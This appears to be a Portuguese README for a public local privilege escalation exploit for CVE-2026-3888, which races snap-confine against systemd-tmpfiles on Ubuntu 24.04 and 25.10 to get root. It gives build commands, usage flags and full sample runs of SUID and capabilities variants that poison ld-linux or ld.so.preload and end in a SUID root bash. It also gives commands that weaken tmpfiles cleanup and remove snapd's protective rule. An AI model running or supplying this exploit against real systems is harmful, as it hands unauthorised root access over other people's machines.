
Exploit de escalada de privilégios local para CVE-2026-3888, direcionado a snap-confine e systemd-tmpfiles no Ubuntu, fornecendo variantes SUID e de capabilities para obter acesso root.
Escalação local de privilégios de usuário sem privilégios para root completo no Ubuntu Desktop 24.04+ explorando uma condição de corrida TOCTOU entre snap-confine e systemd-tmpfiles. Duas variantes são fornecidas: SUID e Capabilities.
CVSS: 7.8 (Alto) | Aviso: Qualys | Correção: snapd 2.74.2, 17 de março de 2026
systemd-tmpfiles exclui o diretório de imitação .snap obsoleto em /tmp (expiração de 30 dias)snap-confine via backpressure de socket AF_UNIX para vencer a corrida de forma confiável durante a sequência de bind-mount de imitaçãold-linux-x86-64.so.2 é substituído por shellcode que chama setreuid(0,0) + execvesnap-confine aciona o shellcode com privilégios de root/var/snap/firefox/common/ para escapar do sandbox| Arquivo | Descrição |
|---|---|
exploit_suid.c | Exploit unificado de binário único — todas as 7 fases em um orquestrador baseado em fork |
librootshell_suid.c | Payload — ELF mínimo que substitui ld-linux-x86-64.so.2 via syscalls brutas x86_64 |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Ambos devem ser compilados (ou compilados de forma cruzada) para Linux x86_64. exploit é vinculado estaticamente para executar dentro do sandbox do snap sem dependências de bibliotecas. librootshell.so usa -nostdlib porque contém apenas syscalls brutas — sem libc.
./exploit <librootshell.so> [-d] [-s]
| Sinalizador | Descrição |
|---|---|
-d | Mostrar saída de depuração do snap-confine (modo verboso) |
-s | Pular a espera de limpeza do .snap (requer senha de root) |
# Execução normal
./exploit ./librootshell.so
# Modo de depuração
./exploit ./librootshell.so -d
# Tentar novamente após falha
./exploit ./librootshell.so -s
O exploit entra no sandbox, aguarda o systemd-tmpfiles excluir .snap (até 10 dias no Ubuntu 25.10 padrão e até 30 dias no Ubuntu 24.04 padrão) e então executa a corrida automaticamente. Em caso de sucesso, fornece um shell de root.
snap-confine deve ser SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer ativobusybox disponível no alvo (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Fase 1] Entrando no sandbox do Firefox...
[+] PID do shell interno: 3122
[Fase 2] Aguardando exclusão do .snap...
[*] Verificando (até 30 dias no Ubuntu padrão).
[*] Dica: use -s para pular.
[+] .snap excluído.
[Fase 3] Destruindo namespace de montagem em cache...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destruído.
[Fase 4] Configurando e executando a corrida...
[*] Diretório de trabalho: /proc/3122/cwd
[*] Construindo .snap e .exchange...
[*] 285 entradas copiadas para o diretório de exchange
[*] Iniciando corrida...
[*] Monitorando snap-confine (PID filho 3543)...
[!] GATILHO — trocando diretórios...
[+] TROCA CONCLUÍDA — corrida vencida!
[*] ld-linux no namespace: user:user 755
[+] Namespace envenenado PID: 3543
[Fase 5] Injetando payload no namespace envenenado...
[+] ld-linux de propriedade do uid 1000 (atacante). Corrida confirmada.
[*] Instalando busybox...
[*] Escrevendo script de fuga → /tmp/sh
[*] Sobrescrevendo ld-linux-x86-64.so.2...
[+] Payload injetado.
[Fase 6] Acionando root via SUID snap-confine...
[*] snap-confine → snap-confine (gatilho SUID)
[*] Status de saída: 0
[Fase 7] Verificando...
[+] bash SUID root: /var/snap/firefox/common/bash (modo 4755)
[*] Limpando processos em segundo plano...
================================================================
SHELL DE ROOT: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles exclui o diretório de imitação .snap obsoleto em /tmpsnap-confine via backpressure de socket AF_UNIX para vencer a corrida de forma confiável durante a sequência de bind-mount de imitação do /var/lib/var/lib/snapd/mount/snap.snap-store.user-fstabuser-fstab fazem bind-mount de um /etc envenenado (com ld.so.preload) no sandboxsu SUID-root de /tmp/.snap pré-carrega librootshell.so que chama setreuid(0,0) + | Arquivo | Descrição |
|---|---|
exploit_caps.c | Exploit unificado de binário único — todas as 7 fases em um orquestrador baseado em fork |
librootshell_caps.c | Payload — biblioteca compartilhada com construtor que chama setreuid(0,0) + execve |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
Ambos devem ser compilados (ou compilados de forma cruzada) para Linux x86_64. exploit é vinculado estaticamente para executar dentro do sandbox do snap sem dependências de bibliotecas. librootshell.so usa -nostartfiles e um __attribute__((constructor)) — é carregado via ld.so.preload antes do main() do binário alvo.
./exploit <librootshell.so> [-d] [-s]
| Sinalizador | Descrição |
|---|---|
-d | Mostrar saída de depuração do snap-confine (modo verboso) |
-s | Pular a espera de limpeza do .snap (use quando .snap já não existir) |
# Execução normal
./exploit ./librootshell.so
# Modo de depuração
./exploit ./librootshell.so -d
# Pular espera (tentar novamente)
./exploit ./librootshell.so -s
O exploit entra no sandbox, aguarda o systemd-tmpfiles excluir .snap (até 10 dias no Ubuntu 25.10 padrão e até 30 dias no Ubuntu 24.04 padrão) e então executa a corrida automaticamente. Em caso de sucesso, fornece um shell de root.
snap-confine deve ter capabilities (cap_sys_admin, cap_chown, cap_dac_override, etc.)snap-store instalado (padrão no Ubuntu Desktop)core22 instaladosystemd-tmpfiles-clean.timer ativobusybox disponível no alvo (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE
================================================================
[*] Payload: /home/user/./librootshell.so (14320 bytes)
[Fase 1] Entrando no sandbox do snap-store...
[+] PID do shell interno: 3501
[Fase 2] Aguardando exclusão do .snap...
[*] Verificando (até 10 dias no Ubuntu 25.10).
[*] Dica: use -s para pular.
[+] .snap excluído.
[Fase 3] Destruindo namespace de montagem em cache...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] Namespace destruído (.mnt removido).
[Fase 4] Configurando e executando a corrida...
[*] Diretório de trabalho: /proc/3501/cwd
[*] Construindo .snap e .exchange...
[*] 17 entradas copiadas para o diretório de exchange
[*] Iniciando corrida...
[*] Monitorando snap-confine (PID filho 3678)...
[!] GATILHO — trocando diretórios...
[+] TROCA CONCLUÍDA — corrida vencida!
[+] Corrida vencida. /var/lib/snapd agora é de propriedade do usuário.
[Fase 5] Configurando payload e user-fstab...
[*] Copiando /etc para .snap/etc...
[*] Escrevendo ld.so.preload...
[*] Escrevendo user-fstab...
[*] Copiando librootshell.so para /tmp/...
[*] Copiando busybox...
[*] Escrevendo script de fuga...
[*] Trocando var/lib de volta (restaurando metadados originais do snapd)...
[+] Payload pronto.
[Fase 6] Acionando root via binário SUID em /tmp/.snap...
[*] Executando: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*] Status de saída: 0
[Fase 7] Verificando...
[+] bash SUID root: /var/snap/snap-store/common/bash (modo 4755)
[*] Limpando processos em segundo plano...
================================================================
SHELL DE ROOT: /var/snap/snap-store/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
Em uma instalação Ubuntu padrão, a limpeza do .snap leva 30 dias (24.04) ou 10 dias (25.10). Para acelerar isso em testes, reduza a idade do /tmp e o intervalo do timer:
Edite /usr/lib/tmpfiles.d/tmp.conf (como root):
# Altere a idade de 30d para 4m
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf
Verifique:
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# Deve mostrar: q /tmp 1777 root root 4m
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer
Verifique:
systemctl list-timers systemd-tmpfiles-clean
# A coluna NEXT deve mostrar ~1 minuto a partir de agora
O snapd 2.73+ adiciona uma regra de exclusão que impede o tmpfiles de limpar .snap. Se o seu sistema tiver isso, verifique e remova:
cat /usr/lib/tmpfiles.d/snapd.conf
# Se você vir: x /tmp/snap-private-tmp/*/tmp/.snap
# Remova essa linha, ou faça downgrade para snapd 2.71.1
Com essas configurações, o .snap será limpo em ~5 minutos após ficar obsoleto, permitindo iteração rápida durante os testes.
Este código é fornecido estritamente para fins educacionais, pesquisa de segurança autorizada e testes de penetração onde permissão escrita explícita foi obtida. O autor não assume nenhuma responsabilidade pelo uso indevido deste software. Ao usar este código, você concorda que é o único responsável por suas ações e por quaisquer consequências decorrentes de seu uso. Não use este código contra sistemas que você não possui ou para os quais não tem autorização explícita para testar.
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, etc.) |
| Snap alvo | firefox | snap-store |
| Imitar alvo | /usr/lib/x86_64-linux-gnu (~285 entradas) | /var/lib (~17 entradas) |
| Vetor de exploração | Sobrescrever ld-linux-x86-64.so.2 com shellcode | Controlar user-fstab + ld.so.preload |
| Formato do payload | ELF estático com syscalls brutas | Biblioteca compartilhada com __attribute__((constructor)) |
| Gatilho de root | SUID snap-confine carrega linker dinâmico envenenado | SUID su em /tmp/.snap pré-carrega .so |
| Requisito de cgroup | Qualquer nome snap.* | Correspondência exata: snap.snap-store.hook.configure |
Limpeza do .snap | 30 dias | 10 dias |
| Fuga do sandbox | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
execve("/tmp/sh")/var/snap/snap-store/common/ para escapar do sandbox